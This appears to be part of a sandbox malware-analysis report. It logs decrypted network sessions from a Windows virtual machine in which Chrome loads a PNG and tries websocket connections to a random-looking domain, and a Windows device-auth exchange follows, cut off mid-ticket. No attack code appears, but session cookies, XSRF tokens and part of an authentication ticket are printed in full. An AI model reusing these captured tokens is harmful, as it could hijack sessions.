2024-04-24 06:22:06 UTC	1369	IN	Data Raw: 65 80 af 92 26 0c 17 77 ae fd 18 97 c3 2f 9b bd 88 ff 1a d4 6c f9 a2 76 3d 0d 06 ee 22 fe fc aa 7a dd 0a 7c 90 fa 3f e5 3b 08 38 80 d4 cd 3d 93 f8 71 af 7a cd db 97 52 52 f9 8d 25 fe 6b 46 11 75 4c ce 41 aa b8 95 48 ab 4f 1d 05 fc 84 d4 10 1f 7d 7c ea 5e 13 80 d5 97 7c 68 24 49 15 34 84 f8 fb 4c ee 5a 2f eb 08 49 af 75 19 f1 e7 79 ce 3a 36 ef f0 48 b5 72 16 0b 5e 2f ff d3 c4 c7 f6 7d 4d b6 bf 45 28 fe b4 d0 bf 7d 57 3f 7f e7 e5 be 7f a7 97 ea 2d c1 3e 31 3a 80 16 70 06 d0 1b 1d 22 93 df 90 9e ce 95 5a b5 07 a9 c9 ec 24 96 3c 61 f8 01 e0 16 60 95 a2 43 69 a9 55 f1 fe 52 b5 55 b4 b4 74 be 0a 6c 17 1d a2 a2 26 01 e7 02 9b 03 bb 90 9a e5 ea be 4a cd 4c e0 2a 60 7f d2 53 cb 5f 04 1e 09 4d 54 6d 5f 25 4d 18 4a 92 e2 bd 00 dc 0c 7c 9b b4 ad dc ba a4 e6 82 0f 00 Data Ascii: e&w/lv="z\|?;8=qzRR%kFuLAHO}\|^\|h$I4LZ/Iuy:6Hr^/}ME(}W?->1:p"Z$<a`CiURUtl&JL*`S_MTm_%MJ\|
2024-04-24 06:22:06 UTC	474	IN	Data Raw: a4 2d 02 a4 25 e9 a1 3e ab 6f 7c 9d b4 6c aa b4 b0 bd 48 13 58 5f 06 86 04 65 58 1f 57 e1 88 54 b5 c9 e2 aa 35 61 6a 41 67 e1 b6 49 0b bb 11 d8 06 b8 3d 3a 48 97 9a 0c 1c 0c 7c 0e 98 19 9c a5 4c 36 07 f6 8b 0e 21 49 2a cc 44 e0 e3 c0 bb 80 e7 83 b3 94 d9 37 88 fb 39 59 92 24 49 92 ba 46 15 b7 50 71 ff f3 18 07 90 f6 a0 af ba 47 81 6f 46 87 50 e9 8c 06 2e 07 ae 07 36 08 ce 02 ae c2 11 a9 6a f7 98 aa dd c3 35 df 3e c0 be d1 21 4a e6 3b a4 31 79 31 3a 88 38 9b b4 7d cd 0b d1 41 4a e4 84 e8 00 92 a4 c2 fd 9a d4 48 7a 73 70 8e b2 5a 1f 38 2a 3a 84 24 49 92 24 d5 9d 0d 1c 5a 1a 3d c0 49 d1 21 32 39 0a 98 16 1d 42 a5 d1 03 1c 0e 3c 08 1c 12 9c a5 af 0d 80 0f 46 87 e8 52 55 5b 81 a3 6a f7 70 25 3d c0 d7 a2 43 94 c8 2c d2 53 af 47 e1 56 79 65 72 1b f0 66 e0 5f d1 Data Ascii: -%>o\|lHX_eXWT5ajAgI=:H\|L6!ID79Y$IFPqGoFP.6j5>!J;1y1:8}AJHzspZ8:$I$Z=I!29B<FRU[jp%=C,SGVyerf_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49813	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:05 UTC	1133	OUT	GET /uvrv0nvmDOsXHKV34pwPipAsKsHSlDlCvdeuw2pQxymnju5Vc2hvOQdNMRr6sQunMUef253 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
2024-04-24 06:22:06 UTC	663	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:06 GMT Content-Type: image/png Content-Length: 70712 Connection: close Content-Disposition: inline; filename="uvrv0nvmDOsXHKV34pwPipAsKsHSlDlCvdeuw2pQxymnju5Vc2hvOQdNMRr6sQunMUef253" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dpK4yVkSKRqWAU%2BdFg7k8sunKOmVLJwN9IHfNu4RSc2YgYFO4UndN6r2oF3zl1SlSyIDSGEhkdTMwnPYhiUfX3ljlgmc%2FpO83MU4xg6CadgGqfjudzSuXqWovMHGMg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff391d812b61-LAX
2024-04-24 06:22:06 UTC	706	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 8e 00 00 03 83 08 06 00 00 00 11 c6 07 ce 00 00 20 00 49 44 41 54 78 01 ec dd cf 71 e3 c6 b6 07 e0 09 c1 21 38 04 6f 6e 95 97 13 c2 ac df 7b 0b 87 a0 12 34 7b ef ef 7b 55 0a 41 21 78 e7 ed 84 a0 10 74 33 50 06 7e d5 53 38 36 0d 13 10 4e 13 7f 1a e0 37 55 53 4d 89 0d 10 f8 70 9a 22 1b 3f 82 9f 3e f9 47 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: PNGIHDR IDATxq!8on{4{{UA!xt3P~S86N7USMp"?>G @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 06:22:06 UTC	1369	IN	Data Raw: 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 06:22:06 UTC	1023	IN	Data Raw: 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49814	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:06 UTC	1283	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: o5u7g.zleu9.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://o5u7g.zleu9.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D Sec-WebSocket-Key: mqyBpFEgVFWIajovKkKcMQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-04-24 06:22:07 UTC	571	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 06:22:07 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hVOegDaiy7kSH6Q7QBCnerKdYEUHO6nybJMxfAcZqo810K8IRm3Ed4AgfXhypcXamuiX72SBoyrzwkDBQqpJaRvxFrND8pcBIQJfWC73S81WAbNyWxNzuez61GDK1%2FZ4mMc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8793ff3bfcf62b95-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 06:22:07 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-04-24 06:22:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49817	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:13 UTC	1283	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: o5u7g.zleu9.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://o5u7g.zleu9.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D Sec-WebSocket-Key: 2/R9dhdnlEZLrjgMmsXY/g== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-04-24 06:22:14 UTC	571	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 06:22:14 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IMGZn1QVkUpWAuCZtDXGHIaKLZSrBEG%2B8zYxpAqbcUrpWXb9KF5UZBgtooRJ2VBNg9uIDImko6BBpYn8VQC4ezaKvPnuCKMfxJthsyl6Vy2MnPmJ1geGlz329PqNTgC18Jw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8793ff68ebf87c29-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 06:22:14 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-04-24 06:22:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49819	20.10.31.115	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:24 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6c 52 67 6e 36 6a 44 51 70 6b 57 64 42 2f 66 62 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 61 33 33 30 32 32 63 32 62 35 31 61 66 33 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: lRgn6jDQpkWdB/fb.1Context: 8a33022c2b51af30
2024-04-24 06:22:24 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-24 06:22:24 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 6c 52 67 6e 36 6a 44 51 70 6b 57 64 42 2f 66 62 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 61 33 33 30 32 32 63 32 62 35 31 61 66 33 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 48 4d 75 73 42 48 42 36 33 45 50 4e 34 55 6f 64 35 6e 45 35 4f 6d 52 4c 76 52 36 59 45 78 64 46 6b 56 78 6e 70 34 4b 53 59 59 6c 44 53 67 43 47 65 44 76 48 72 61 68 54 4f 72 6f 31 6a 6a 39 32 70 57 59 43 61 62 44 77 58 7a 7a 6e 34 4f 67 30 78 46 4a 2f 33 6c 59 57 79 4b 65 6e 61 30 46 76 53 34 51 33 33 37 4d 4d 2b 79 78 42 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: lRgn6jDQpkWdB/fb.2Context: 8a33022c2b51af30<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAcHMusBHB63EPN4Uod5nE5OmRLvR6YExdFkVxnp4KSYYlDSgCGeDvHrahTOro1jj92pWYCabDwXzzn4Og0xFJ/3lYWyKena0FvS4Q337MM+yxB
